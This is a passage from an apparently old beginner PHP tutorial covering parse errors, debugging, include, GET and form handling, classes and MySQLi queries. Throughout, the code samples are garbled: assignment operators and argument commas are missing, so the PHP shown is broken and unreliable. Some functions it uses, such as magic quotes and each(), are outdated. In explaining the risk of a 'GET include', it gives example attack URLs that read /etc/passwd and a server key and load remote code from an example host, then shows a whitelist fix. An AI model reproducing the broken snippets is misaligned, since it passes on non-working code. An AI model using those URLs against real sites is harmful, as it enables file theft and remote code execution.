 * Start of the script
 */
$i 10;
do {
    echo 
$i."\n";
    
$i floor($i/2);
} while (
$i)
echo 
'i is now '.$i;
?>

This php script is transformed in the following list of tokes. In php there is just a list but we use the same indent as the php code.

T_OPEN_TAG
T_DOC_COMMENT T_WHITESPACE
T_VARIABLE T_WHITESPACE = T_WHITESPACE T_LNUMBER ; T_WHITESPACE
T_DO T_WHITESPACE { T_WHITESPACE
    T_ECHO T_WHITESPACE T_VARIABLE . T_CONSTANT_ENCAPSED_STRING ; T_WHITESPACE
    T_VARIABLE T_WHITESPACE = T_WHITESPACE T_STRING ( T_VARIABLE / T_LNUMBER ) ; T_WHITESPACE
} T_WHITESPACE T_WHILE T_WHITESPACE ( T_VARIABLE ) T_WHITESPACE
T_ECHO T_WHITESPACE T_CONSTANT_ENCAPSED_STRING . T_VARIABLE ; T_WHITESPACE
T_CLOSE_TAG

For a better readability we delete all T_WHITESPACE tokens as they are ignored anyway. They come from all newlines and spaces inside your code.

T_OPEN_TAG
T_DOC_COMMENT
T_VARIABLE = T_LNUMBER ;
T_DO {
    T_ECHO T_VARIABLE . T_CONSTANT_ENCAPSED_STRING ;
    T_VARIABLE = T_STRING ( T_VARIABLE / T_LNUMBER ) ;
} T_WHILE ( T_VARIABLE )
T_ECHO T_CONSTANT_ENCAPSED_STRING . T_VARIABLE ; 
T_CLOSE_TAG

The php interpreter is calculating with this list of tokens. It checks if all tokes are at the correct location and if they fit together. The statement $i = 10; is translated into T_VARIABLE = T_LNUMBER ; (without any T_WHITESPACE tokens). PHP check if this is a valid statement, which is true for this example.

If we run our script we get the following error message.

Parse error: syntax error, unexpected T_ECHO, expecting ';' in FILENAME on line 10

The php interpreter don't like line 10, however it looks okay for us. The problem is at line 9 as the semicolon is missing after the do-while loop. The php interpreter read all tokens until that point and expect after the closing parenthese ) a semikolon (see expecting ';'). Now he finds first a T_WHITESPACE token (which is ignored anyway). But then it founds the T_ECHO token from echo. This is absolutly not expected (see unexpected T_ECHO) and stops which the execution of the script with a parse error. The list of expected tokens are truncated as they may be following more than one token. Listing all tokens wouldn't help at all. Programmers know how to code and they want to know whats wrong and not what may be right.

The line number mentioned only the line in which the error occurs, but may not the reason for the error. There are some places where you should search for the error.

4. Understanding error messages

Beside syntax errors there can be of course normal errors like dividing by 0. The statement $x = $y / $a; is valid, however it can lead to an error message Warning: Division by Zero in FILE on LINE. All the error messages got the same layout. They begins with a classification of the error message. It can be a single notice but also a fatal error which stops the php script. However, all errors must be fixed. It doesn't help if you lower the error_reporting level, the error still exists.

After the classification the error message is followed. It descripe what happends or what didn't worked. These can only read with knowledge. An error Undefined index '0' is easy, but Warning: Cannot modify header information - headers already sent by (output started at FILE:LINE) in FILE on line LINE maybe not.

The mentioned filename shows where the error occured, but may be not the reason for the error (like a variable set in an other file). A common error is to fix the wrong file and watching how the error don't go away.

5. Finding semantic errors

If php shows an error message it is easy to find and fix them. But there are errors which cannot be find with php but still are errors. These semantic errors cannot be find by php as he is running the php code and don't think about it.

To check the flow of you php script you should use proper indent. If you indent your code you may resolve logical errors already. To check e.g. if an if statement is entered you should use echo or var_dump for debug lines.

<?php
echo 'before the if';
if (
condition) {
    echo 
'I am inside the if statement';
    
do_this();
} else {
    echo 
'I am inside the else';
    
do_that();
}
echo 
'after the if';
?>

If you get the output before the ifI am inside the ifstatementafter the if you first noticed you miss html newlines <br/> or php newlines with \n. But you also noticed the if statement is entered. If this isn't correct in your case you should check the condition, best with var_dump. You can check every variable with var_dump.

<?php
while ($i $j) {
    
var_dump($i$j);
    
do_this($i);
    
do_that($j);
    
$i += $j;
}
?>

This can also be used to output sql queries which are send to a database like MySQL.

<?php
var_dump
($sql);
mysql_query($sql) or die(mysql_error());
?>

Questions about the chapter

No questions

Include

  1. Putting php code in other files
  2. Include
  3. Include with directories
  4. Return value of include

1. Putting php code in other files

If you start writing your php scripts they get longer and longer. If you write other php scripts which have the similar layout you get a new php script which gets longer and longer. It would make more sense if you can put this code somewhere else and just say load the code xyz. One way would be to put the code inside a function, but this must be written in the php script and the same function may be written and use in other php scripts, too. So its better to use include. This language construct is given a filenamen and the php script loads this file as php code.

2. Include

If you use the language construct include the following actions take place in background.

  1. Leave the php modus (?>).

  2. Load and execute the file.

  3. Reenter php modus (<?php).

The execution is the same as the file contents is copy&pasted at the place where the include statement was.

<p>
    HTML Code in a file called <code>file.html</code>.
</p>
<?php
// content of a php file called index.php which is opened by an user

echo 'Before the include';

include 
'file.html';

echo 
'After the include';
?>

You will get the following html output.

Before the include<p>
    HTML Code in a file called <code>file.html</code>.
</p>
After the include

Now you see why include is leaving the php code. This way you can easily output html files. Internally it would looks like this.

<?php
// content of a php file called index.php which is opened by an user

echo 'Before the include';

?><p>
    HTML Code in a file called <code>file.html</code>.
</p>
<?php

echo 'After the include';
?>

That means if you want to load php files as php scripts you must still use <?php and ?> in your files.

<?php
// File: foobar.php
echo "A second line\n";
?>
<?php
// File: index.php, opened by an user
echo "First line\n";
include 
'foobar.php';
echo 
"Third line\n";
?>

Generates the following output.

First line
A second line
Thrid line

PHP has done something like this.

<?php
// File: index.php, opened by an user
echo "First line\n";
?><?php
// File: foobar.php
echo "A second line\n";
?><?php
echo "Third line\n";
?>

If we delete this ?<>?php lines we see the complete php code we wants.

<?php
// File: index.php, opened by an user
echo "First line\n";
// File: foobar.php
echo "A second line\n";
echo 
"Third line\n";
?>

For this reason we also can use variables which are used in another file.

<?php
// File: config.php
$surname 'John';
$lastname 'Doe';
?>
<?php
// file: index.php, opened by the user
include 'config.php';

echo 
'I am '.$surname.' '.$lastname.', welcome to my homepage';
?>

3. Include with directories

If you include a file inside a directory and this file also includes a file inside this directory php is looking at two positions for this file. The first position is relative to the file which wants to load the file. The second position is relative to the start script which is loaded in the browser. Here is an example how it works.

<?php
// index.php (opened by the user)
include 'inc/config.php';
echo 
'My name is "'.$name.'"';
?>
<?php
// config.php (inside of the directory inc/)
include 'functions.php';
include 
'variables.php';
echo 
"Config loaded\n";
?>
<?php
// functions.php (same directory as the file index.php)
function foobar() {
    
// ...
}
echo 
"Functions loaded\n";
?>
<?php
// variables.php (inside of the directory inc/)
$name 'John Doe';
echo 
"Variables loaded\n";
?>

The directory and files looks like followed.

index.php
functions.php
inc/config.php
inc/variables.php

If you open the index.php file you will get the following output.

Functions loaded
Variables loaded
Config loaded
My name is "John Doe"

It doesn't matter somehow where the files are which to load (in this case functions.php and inc/variables.php). Internally the following happends.

This can be a problem as there are two locations for searching a file (and even more with include_path). You can disable this if the path to the file starts with ./ or ../ (for the current and parent directory). If this is used the path is always relative to the start script and not relative to an other include anymore.

For developers this whole thing means that you you simply can use include without care about the paths where are other files are located or the current file is located. So you write just include 'variables.php'; instead of statements like include dirname(__FILE__).'/variables.php';.

4. Return value of include

Include files can use return like functions. This way you can use a include like a function and save the value in a variable.

<?php
// file.php
return "text";
?>
<?php
// index.php
$var = include 'file.php';
echo 
$var// echoes 'text'
?>

The include returns the integer value 1 by default. This is a common error for beginners which try to load a php script with sth. like echo include 'news.php' and wonders where this stupid 1 at the end is coming from. So this hint: echo include '...'; doesn't make sense in most of the cases.

Questions about the chapter

No questions

GET

  1. URL parameters
  2. Access the GET variables
  3. Risks from external source

1. URL parameters

PHP scripts are run with inputs from the user. These inputs can be send to the scripts in 3 ways. One of them are the url parameters, also called GET variables. These are in the url and written after the path, seperated with a ?. Examples are http://www.example.com/file.php?section=news and http://www.example.com/dl.php?cat=5&id=3&view=false. An anchor (like #top in http://www.example.com/file.php#top) is not part of the GET variables and isn't send to the webserver at all.

2. Access the GET variables

All GET variables from the url are saved in the php array $_GET. This array is predefined and even exists if there aren't any GET variables. Additional this is a superglobal array which means it exists in all scopes and don't need to pass as parameters to functions. The name of a GET variable is the index/key of the array entry from $_GET. From the url http://www.example.com/file.php?section=news&site=show php creates the array entries 'section' => 'news' and 'site' => 'show'.

<?php
// opened with file.php?section=news
echo $_GET['section']; // outputs 'news'
?>

All values of GET variables are strings or arrays, even if they contain only digits. From ?var=false&ID=4 php creates the array entry with the string index var with the string value false (not bool(false)) and an array entry with the string index ID with the string 4 (not int(4)).

<?php
// if opend with file.php?var=false&ID=4
var_dump($_GET['var']); // outputs string(5) "false"
var_dump($_GET['ID']);  // outputs string(1) "4"
?>

If the name looks like an assignment to an array entry php evaluates it as this. From ?foo[4]=bar php creates the field $_GET['foo'][4] with the string bar. This is often used for forms, however all values are still arrays or strings.

3. Risks from external source

The $_GET array is only filled with values from the url. This also means if no value is added in the url no value with added to the $_GET array. This is something which must be checked inside your script. If you try to access an array field which doesn't exists you get an error message.

<?php
echo $_GET['not_defined'];
// Notice: Undefined index:  not_defined in FILE on line LINENUMBER
?>

To fix such an error you can of course change the error_reporting setting, but it is better to check if the index exists before reading from it. This can be done with the isset language construct.

<?php
if (isset($_GET['xyz'])) {
    echo 
"The GET variable 'xyz' exists and got the value '".$_GET['xyz']."'.";
} else {
    echo 
"There is no GET variable called 'xyz'.";
}
?>

Additional all variables are filled by the user, independent if the user clicked on a link or not. This means the content is not generated by the php script. This is a point of attack. For this reason you should never outputs a GET variable directly or treat them as right or valid. Whatever the user tries you should check the inputs first. If you expect a number like in ?show=news&newsid=5 you should always check the value first if it is really a number. For any inputs which get shown later should always be checked agains javascript code. This can be done with functions like htmlspecialchars.

Questions about the chapter

No questions

2 column layout

  1. 2 column layout
  2. Loading a section by a GET variable

1. 2 column layout

The sub sections of an internet page has often a similar layout. On the left there is a menu and in the center there is the content to show. This is realised with the include statement and a main file. Depending on a GET variable the main file selects the right php file to include.

The main file, often called index.php, is used to load the excluded html code with include or readfile or output its direct with echo

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'header.html'// doctype, <html> and the whole <head> tag
echo "    <body>\n";
include 
'menu.html';

// load section

echo "    </body>\n";
echo 
"</html>\n";
?>

The header.html file contains everything about the html stuff and the menu.html shows the menu with all links to the sections.

2. Loading a section by a GET variable

As a GET variable should load the specific section we must think about how it is loaded. The first way to choose would be to use the GET variable directly at include.

<?php
if (isset($_GET['section'])) {
    include 
$_GET['section'];
} else {
    include 
'news.php'// loading the default part
}
?>

This way you can load the news with index.php?section=news.php or the guestbook with index.php?section=guestbook.php. But if you use this code this is the same as putting your login of your server on your homepage. A so called GET include allowes everyone to load every file. First you can load server files like index.php?section=/etc/passwd or index.php?section=/etc/apache2/ssl/server.key (if you got the proper rights). But be more dangerous it can load every php script. If someone opens index.php?section=http://www.example.com/evil_code.txt php loads the code from this url as php and executes it.

A better and more secure way is to restrict the files which can be loaded. There are several ways like restricting the directory or checking the file names. The best one is to use an array. The array use values for all valid filenames and string indexes to access them. This is called an Array include. This way you can specific with the GET variable which file to load.

<?php
$section 
= array();
$section['news'] = 'news.php';
$section['gb'] = 'guestbook.php';
$section['info'] = 'info.php';
?>

Depending on the GET variable we load the right file.

<?php
include $section[$_GET['section']];
?>

In this code we can get two index errors. First the user can open the url without a section variable. Second the user can try to load a section which doesn't exists. For both ways we use the isset statement before we include the file.

<?php
if (isset($_GET['section'], $section[$_GET['section']])) {
    include 
$section[$_GET['section']];
} else {
    include 
$section['news'];
}
?>

This can be used now in your index.php file.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

$section = array();
$section['news'] = 'news.php';
$section['gb'] = 'guestbook.php';
$section['info'] = 'info.php';

include 
'header.html'// doctype, <html> and the whole <head> tag
echo "    <body>\n";
include 
'menu.html';

if (isset(
$_GET['section'], $section[$_GET['section']])) {
    include 
$section[$_GET['section']];
} else {
    include 
$section['news'];
}

echo 
"    </body>\n";
echo 
"</html>\n";
?>

A new section can easily added to the $section-Array.

Questions about the chapter

No questions

Forms

  1. What are forms?
  2. Forms in html documents
  3. Proceed in php
  4. Text input fields
  5. Drop-down lists
  6. Radio and check boxes
  7. Trust noone
  8. Magic Quotes

1. What are forms?

Many internet pages provide areas which can be filled text or selections can be made. After that there is a button typically called Submit. These areas are called forms. These entered informations are send to a php script and this script use this values like adding a new user or news.

2. Forms in html documents

Forms are created with the <form> tag. The action attribute points to the url where the form is send to, in your case your php script. This script is opened with the entered data so the browser redirects to the php script.

You can specific with the method attribute how the data are send to the php script. If this value is get the data are send over the url, like a simple request to index.php?section=news. The values are added to url. As this can result in a long url its more common for forms to use the value post. With this value the form data is send hidden inside the HTTP request. The data itself are readable (they are not encrypted somehow) but are not visible to the user. So the form is e.g. just send to http://www.example.com/login.php but the form date are transmitted hidden.

3. Proceed in php

To access the form data in php you must give the form fields in your html code a name with the name attribute. Inside your php script the form data are saved in the superglobal arrays $_GET or $_POST, depending on which method is used. The index of the array field is the same as the name in the form field, the value is filled from the given form field.

The name of the form field can also be an array field. If the attribute name="foobar[5]" is used php will create a corresponding array field $_POST['foobar'][5]. If the index is omitted (name="foobar[]") an array field is created like $array[] = 'value';. This is used for checkboxes which will be stored in one array.

4. Text input fields

For one line input field you can use the html tag <input>. For simple text inputs use the attribute type="text", for passwords use type="password". Note that passwords are send not encrypted, the form field just shows * instead of the actually password. If you want multi line input fields use <textarea> instead.

<form action="script.php" method="post">
    <fieldset>
        <legend>Enter login</legend>
        <label>Username: <input type="text" name="Username" /></label>
        <label>Password: <input type="password" name="Pass" /></label>
        <input type="submit" name="formaction" value="Login" />
    </fieldset>
</form>

If you send this form php will get the folloing array fields.

<?php
$_POST
['Username'] = /* input from the Username field */;
$_POST['Pass'] = /* input from the Pass field */;
$_POST['formaction'] = 'Login'// set with the value="" attribute
?>

5. Drop-down lists

Drop-down lists are created with the <select> and <option> tags. You should add [] after the name of the drop-down list if you want to use the attribute multiple="multiple". This way all selected entries are saved in an array.

<form action="script.php" method="post">
    <fieldset>
        <legend>Form for Foobar</legend>
        <label>Name: <select name="Username">
            <option value="1">Blabli</option>
            <option value="4">Testuser</option>
        </select></label>
        <label>Rechte: <select name="Rights[]" multiple="multiple" size="5">
            <option value="1">News</option>
            <option value="2">Forum</option>
            <option value="3">Guestbook</option>
        </select></label>
        <input type="submit" name="formaction" value="Send" />
    </fieldset>
</form>

If you select the user Blabli and select the rights News and Guestbook the following array fields will be created.

<?php
$_POST
['Username'] = "1";
$_POST['Rights'][] = "1";
$_POST['Rights'][] = "3";
$_POST['formaction'] = "Send";
?>

6. Radio and check boxes

For radio and check boxes you can use the <input> tag. Depends on what you want you must use type="radio" or type="checkbox". The checkboxes or radiobuttons which belongs together must habe the same name. For checkboxes the name should end with [] to get an array of all selected checkboxes.

<form action="script.php" method="post">
    <fieldset>
        <legend>Select pizza</legend>
        <fieldset>
            <legend>Size</legend>
            <label><input type="radio" name="Size" value="20" /> small</label>
            <label><input type="radio" name="Size" value="24" /> medium</label>
            <label><input type="radio" name="Size" value="30" /> big</label>
        </fieldset>
        <fieldset>
            <legend>Topping</legend>
            <label><input type="checkbox" name="Topping[]" value="salami" /> salami</label>
            <label><input type="checkbox" name="Topping[]" value="thunfish"> thunfish</label>
        </fieldset>
        <input type="submit" name="formaction" value="Order" />
    </fieldset>
</form>

If you order a medium pizza with salami and thunfish you will get the following array fields.

<?php
$_POST
['Size'] = "24";
$_POST['Topping'][] = "salami";
$_POST['Topping'][] = "thunfish";
$_POST['formaction'] = "Order";
?>

If you dont specific a value for radio or check boxes the value will be on. If a check box is not selected its not send at all.

7. Trust noone

As like GET variables the form data is from external source. These can be filled with every value, even with javascript code. You must check the value inside your php script. Use the isset function to check if the form data exists.

<?php
if (!isset($_POST['name'], $_POST['password'])) {
    die (
'Use only forms from the homepage.');
}
?>

The content can always be checked with string functions.

8. Magic Quotes

If you send text data from a form to a php script it can be possible that the data is changed automatically by your php script. The text A sample text with one ' and one " will be converted to A sample text with one \' and one \". This is called Magic Quotes. It was implemented to help beginners which want to save these values inside a database.

But this may be get annoying, at least if you get outputs like A sample text with one \\\\\\' and one \\\\\\". So we delete this backslashes with stripslashes if magic quotes is activated on your server.

<?php
if (get_magic_quotes_gpc()) {
    
$in = array(&$_GET, &$_POST, &$_COOKIE);
    while (list(
$k,$v) = each($in)) {
        foreach (
$v as $key => $val) {
            if (!
is_array($val)) {
                
$in[$k][$key] = stripslashes($val);
                continue;
            }
            
$in[] =& $in[$k][$key];
        }
    }
    unset(
$in);
}
?>

You dont need to understand this code from http://talks.php.net/show/php-best-practices/26, it deletes all backslashes from $_GET, $_POST and $_COOKIE which are added throught magic quotes.

Questions about the chapter

No questions

Use of classes

  1. What is OOP?
  2. Create an object
  3. Work with an object
  4. Constructors
  5. Destructors

1. What is OOP?

OOP is the abbrevation for object-oriented programming and is a programming paradigm which programm code can be group together and creates a unit. This programm code is called a class which gets a name. From this class your can create an object. The simpliest description of an object is: an array with functions. Although this description doesn't mention everything about classes and objects its a easy way to understand what an objects is. Objects got some fields like an array got fields and they got functions (called methods) which deals with them. This knowledge is enough to work with classes and objects. If you want to create your own classes you will see the whole scope of classes like information hiding, inheritance, design pattern, ...

2. Create an object

To create an object from a class you must use the keyword new. It is followed by the name of the class.

<?php
$obj 
= new DateTime();
?>

This code creates a new DateTime object and saves inside the $obj variable a link to this created object. The variable doesn't save the object itself only a link to the object. We can check the object with var_dump.

<?php
$obj 
= new DateTime();
var_dump($obj);
?>

The output looks like this.

object(DateTime)#1 (0) {
}

If this object have public attributes they are shown like var_dump is used on an array. But the class DateTime has no public attributes.

3. Work with an object

If you have create an object you want to use it. This can be done with the -> operator. On the left is the variable which points to the object, on the right is the method or attribute which you want to call/access. As an example we call the format() method (date_format).

<?php
$obj 
= new DateTime();
echo 
$obj->format('H:i:s');
?>

Of course we could use date or strftime but we want to learn how to use classes and objects.

4. Constructors

If you create an object a special method is executed, the so called constructor. This method fills the internal attributes with default values. For the DateTime object it saves the timezone and the current time inside the object. Constructors are like normal methods and can have parameters. Yoou can check the function description for date_create to see what parameters are possible for the DateTime class.

<?php
$obj 
= new DateTime("-1 day");
?>

5. Destructors

Destructors are methods which are called by the php engine if the last reference/link to the object is deleted. As there is no possibility to access the object anymore there is no reason to hold it in the memory. PHP calls in this case the destructor which can do some shutdown statements like closing the connection to a database. After that the object is erased from the memory.

Questions about the chapter

No questions

MySQL

  1. Layout of a mysql database

1. Layout of a mysql database

Whatever a php script is doing soon or later the php script must save the data somewhere. All variables are deleted after the script ends and are removed from the memory. It is possible to save these data in a file. The php script opens the file and reads or write to it as an user would edit an text file. If your create a guestbook with files as storage you can save it like this:

User|20. Jan 2008|Really good page
User2|11. Feb 2008|Hi Paul, how are you?
User3|13. Feb 2008|Cool page, visit my homepage too

Each row will be a guestbook entry and the character | is the delimiter for usernames, creation date and the text. The php script reads this file and use explode to get the three parts back.

For a relational database like MySQL a different approach is taken. The data are not saved in files but in tables. Each row in the table represents an entry. MySQL is using the following layout.

To you a MySQL database in php you need 4 values. You get them from the administrator of your webserver.

  1. Host - This is the address to the server where mysql is installed. It can be any IP or host like db23.example.com but is often the same computer as the webserver is running. In this case the host is localhost

  2. Username - The username to login.

  3. Password - The password to login.

  4. Database - The database to work with. A webapplication always use only one database.

Questions about the chapter

No questions

MySQL / Tables

  1. Layout of tables in MySQL
  2. Types for columns
  3. Create a MySQL table

1. Layout of tables in MySQL

In MySQL the data is saved in tables as rows. To identify a table all tables have a name. Additional all tables have a list of columns with names and types. A table news can have a column added with the type DATETIME. Each value added to the column added must be of type DATETIME.

Table news
added

2. Types for columns

MySQL supports a lot of column types. From this list you choose the right one for your colum. A number should be saved in an INT field and a long text should be saved in a TEXT field. A complete list of column types can be found in the mysql manual at Chapter 9. Data Types. Here is a short list of common column types.

3. Create a MySQL table

You create a table with the sql command CREATE TABLE. It is followed by the table name to create. You cannot use any MySQL keywords as table names. After that a opening parenthese followes and the list of columns. Each column entry is seperated with a comma. Each column entry is build with the name, the type and optional additional options like NOT NULL, PRIMARY KEY and AUTO_INCREMENT. Each sql command must be terminated with a semicolon. An example sql query looks like this.

CREATE TABLE news (
    id INT AUTO_INCREMENT PRIMARY KEY,
    author VARCHAR(30) NOT NULL,
    title VARCHAR(50) NOT NULL,
    content TEXT NOT NULL,
    added DATETIME NOT NULL
);

Note this is a sql query. You cannot use this as php code. To send a query (like this one) to the database you must use functions like mysql_query or mysqli_query.

The NOT NULL options can be used if a value must be added to this column. This create will create the following table.

Table news
id author title content added

As the table is recently created there aren't any rows yet.

Be careful of the case sensitivity of table and column names. The MySQL manual deals with problems about case sensitivity.

Each table within a database corresponds to at least one file within the database directory (and possibly more, depending on the storage engine). Triggers also correspond to files. Consequently, the case sensitivity of the underlying operating system plays a part in the case sensitivity of database and table names. This means database, table, and trigger names are not case sensitive in Windows, but are case sensitive in most varieties of Unix.

For this reason the mysql manual advise to use a consistent convention throught your whole application.

[...] To avoid problems caused by such differences, it is best to adopt a consistent convention, such as always creating and referring to databases and tables using lowercase names. This convention is recommended for maximum portability and ease of use.

Questions about the chapter

No questions

MySQL / Add rows

  1. Add a row

1. Add a row

After we created the tables with the colums we want to add new rows into the table. This can be done with the INSERT INTO command. After the INSERT INTO keyword you add the table name which you want to fill. After the name there is a list of columns for which you want supplie values. This list is written in parenthese and seperated by commas. If a column is not written there mysql will save a defaut value in this column for the new row. As an example an INT column have the default value 0. After the column names there is the keyword VALUES. Now all values are followed, also seperated with commas and written in parentheses. As in php strings must be written in quotes.

As an example we add a row without any values.

INSERT INTO
    news()
VALUES
    ();

This create add a new row into the news table.

Tabelle News
id author title content added
1 0000-00-00 00:00:00

As you see the id column gets the value 1 automatically. The values for author, title and content are always an empty string. And the added column got the (invalid) time 0000-00-00 00:00:00. As an example we add a real row.

INSERT INTO
    news(author, title, content, added)
VALUES
    ("Me",
     "My first news",
     "I am testing how rows are added to mysql",
    NOW());

You see we only used 4 of 5 columns as the id column got its value by AUTO_INCREMENT. Additional the column added got the value NOW(). This is a mysql function which returns the current time and date. This value is saved in the added column. If the query is executed the table may look like this.

Tabelle News
id author title content added
1 0000-00-00 00:00:00
2 Me My first news I am testing how rows are added to mysql 2008-08-17 14:02:08

This table got 2 rows now.

Questions about the chapter

No questions

MySQL / Output values

  1. Output a value
  2. Indent the SELECT query

1. Output a value

As we filled the tables with rows we want to read them out. This can be done with the SELECT command. It got a huge list of parameters. Howevery, whatever the SELECT query is calculating and doing the result is always a table, also called result set. This result set got columns and rows like the tables have and can have even 0 rows. Each column got a name to access the specific column.

As an simple example we outputs simple values without using any tables. We use the SELECT keyword to start the query. It is followed by the values we want to read, seperated with commas. These can be static values but also function calls.

SELECT NOW(), "Foobar", 6;

This query returns a result set with 3 columns and 1 row.

Result set of the query
NOW() Foobar 6
2008-08-17 14:31:10 Foobar 6

As you see we have the columns NOW(), Foobar and 6. You also see we got only one row and the value of NOW() is the current time and date.

The column names are the same as the expressions in the SELECT query. To use other names use the AS ... keyword.

SELECT NOW() AS current_time, "Foobar" AS username, 6 AS level;
Ergebnistabelle vom SQL-Query
current_time username level
2008-08-17 14:37:22 Foobar 6

This is important if you want to read from two tables at the same time but got columns with the same name in both tables (like the id columns).

2. Indent the SELECT query

As SELECT queries are very long its common to use a proper indent for them. The values for a mysql keyword are indented by one level.

SELECT NOW() AS current_time, "Foobar" AS username, 6 AS level;

This will become the following query.

SELECT
    NOW() AS current_time,
    "Foobar" AS username,
    6 AS level;

This way you can easily see how many columns the result set will have.

Questions about the chapter

No questions

MySQL / Read data from a table

  1. SELECT on tables

1. SELECT on tables

As we can read single values we try to read data from a table. We extend the SELECT query by the FROM ... keyword. The ... part is the table we want to read. If we have select a table this way we can use the column names in the SELECT part. So the syntax is SELECT columns FROM table. As an example we reads the columns id, author and title from our news table.

SELECT
    author,
    id,
    title
FROM
    news;

We get the following result set.

Result set of the SELECT query
author id title
1
Me 2 My first news

We see we got a result set with 3 columns and 2 rows. This is okay as the table got 2 rows and in the SELECT part we selected 3 columns. We also see the first row got empty values but thats also okay as the row itself just got only empty values. The order of the columns can be changed (we read id after author), but it doesn't matter as we read them in php by their name rather by their position.

Questions about the chapter

No questions

MySQL / Access via php

  1. MySQLi

1. MySQLi

To get back to php: we wants to access the database via php. As we cannot simply write the sql query inside the php code we need something to access the mysql database. We use the mysqli extension in the OOP style.

The mysqli extension provide us with some classes to work with mysql. First we use the MySQLi class. We login into the database with the constructor.

<?php
$db 
= new mysqli('localhost''username''password''database');
?>

If no connection could be established an warning is generated. We suppress this error with a @ before the new operator. This way no error messages from this line are shown. This doesn't mean you should write @ everywhere. Its just the error message which isn't show, the error still exists. Accordingly to the manual we should use mysqli_connect_errno to check if the connection is established. If this function returns 0 the connection is established, otherwise the mysqli_connect_error tells us why not.

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Could not open a mysql connection: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
?>

As we got our MySQLi object now we can work with it. We use the query() method (MySQLi::query) to send a query, but we can also use prepare() (MySQLi::prepare) to create complex queries. The parameter is always a sql query which you want to send to the database. If you use a SELECT query an MySQLi_Result object is returned.

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Could not open a mysql connection: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    title,
    added
FROM
    news'
;
$result $db->query($sql);
?>

As every query can fail we always check for errors. You can check the return value of query(). If it is false there is an error and the error message is saved in the error field of the MySQLi object.

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Could not open a mysql connection: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    title,
    added
FROM
    news'
;
$result $db->query($sql);
if (!
$result) {
    die (
'Something is wrong with the query: '.$db->error);
}
var_dump($db$result);    
?>

We check what kind of errors we have with the var_dump function.

object(mysqli)#1 (0) {
}
object(mysqli_result)#2 (0) {
}

The first one is our MySQLi object, the second one is the created MySQLi_Result object we are now working with. We show first how big the result set is. The number of rows is saved in the num_rows field. (MySQLi_Result::num_rows).

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Could not open a mysql connection: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    title,
    added
FROM
    news'
;
$result $db->query($sql);
if (!
$result) {
    die (
'Something is wrong with the query: '.$db->error);
}
echo 
'The result set got '.$result->num_rows." rows<br />\n";
?>

In our case we have 2 rows in our table. To access one row we use the fetch_assoc() method (MySQLi_Result::fetch_assoc). This method returns an array which contains all data from a row. Each call of fetch_assoc() returns the next row. If the end of the result set is reached this method returns NULL.

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Could not open a mysql connection: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    title,
    added
FROM
    news'
;
$result $db->query($sql);
if (!
$result) {
    die (
'Something is wrong with the query: '.$db->error);
}
echo 
'The result set got '.$result->num_rows." rows<br />\n";
var_dump($result->fetch_assoc());
var_dump($result->fetch_assoc());
var_dump($result->fetch_assoc());
var_dump($result->fetch_assoc());
?>

This code creates the following output:

The result set got 2 rows<br />
array(2) {
  ["title"]=>
  string(0) ""
  ["added"]=>
  string(19) "0000-00-00 00:00:00"
}
array(2) {
  ["title"]=>
  string(16) "My first news"
  ["added"]=>
  string(19) "2008-08-17 14:02:08"
}
NULL
NULL

As you see the first to calls returns the rows from the result set. After then the method returns only NULL values. This allowes you to use fetch_assoc() in a while loop.

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Could not open a mysql connection: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    title,
    added
FROM
    news'
;
$result $db->query($sql);
if (!
$result) {
    die (
'Something is wrong with the query: '.$db->error);
}
echo 
'The result set got '.$result->num_rows." rows<br />\n";
while (
$row $result->fetch_assoc()) {  // NULL is equivalent to false
    // $row is now the array with the values.
    
echo 'The news "'.$row['title'].'" was written at "'.$row['added']."\"<br />\n";
}
?>

If we output all rows we can close the result set with close() (MySQLi_Result::close).

<?php
$db 
= @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die (
'Could not open a mysql connection: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}
$sql 'SELECT
    title,
    added
FROM
    news'
;
$result $db->query($sql);
if (!
$result) {
    die (
'Something is wrong with the query: '.$db->error);
}
echo 
'The result set got '.$result->num_rows." rows<br />\n";
while (
$row $result->fetch_assoc()) {  // NULL is equivalent to false
    // $row is now the array with the values.
    
echo 'The news "'.$row['title'].'" was written at "'.$row['added']."\"<br />\n";
}
unset(
$result); // you can delete the variable with unset() as it isn't needed anymore.
?>

If you want you can close the connection to the database with the close() method (MySQLi::close) but this happends at the end of your script anyway.

Questions about the chapter

No questions

News script

  1. Writing your own news script
  2. Layout of the mysql table
  3. The news script
  4. Downside of the news script

1. Writing your own news script

Our news script should be easy and prints the html code just quick'n'dirty. It will be implemented and shouldn't be loaded with include in other areas.

2. Layout of the mysql table

We delete the old table with phpMyAdmin or with DROP TABLE news;. Now we think about the columns we need.

Note these NOT NULL doesn't prevent you from entering an empty string, it only prevents you from enter a empty value at all (these NULL values). This table can be created with phpMyAdmin or with the following sql query.

CREATE TABLE news (
    id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
    title VARCHAR(100) NOT NULL,
    added DATETIME NOT NULL,
    content TEXT NOT NULL 
);

It looks like the old table but we want to start from the beginning.

3. The news script

Now we begin our news script. As always we increase the error reporing level to get all error messages.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);
?>

Then we open the connection to mysql.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

// change to your login
$db = @new MySQLi('localhost''username''pass''dbname');
if (
mysqli_connect_errno()) {
    die (
'Could not create a connection to the database: '.mysqli_connect_error());
}
?>

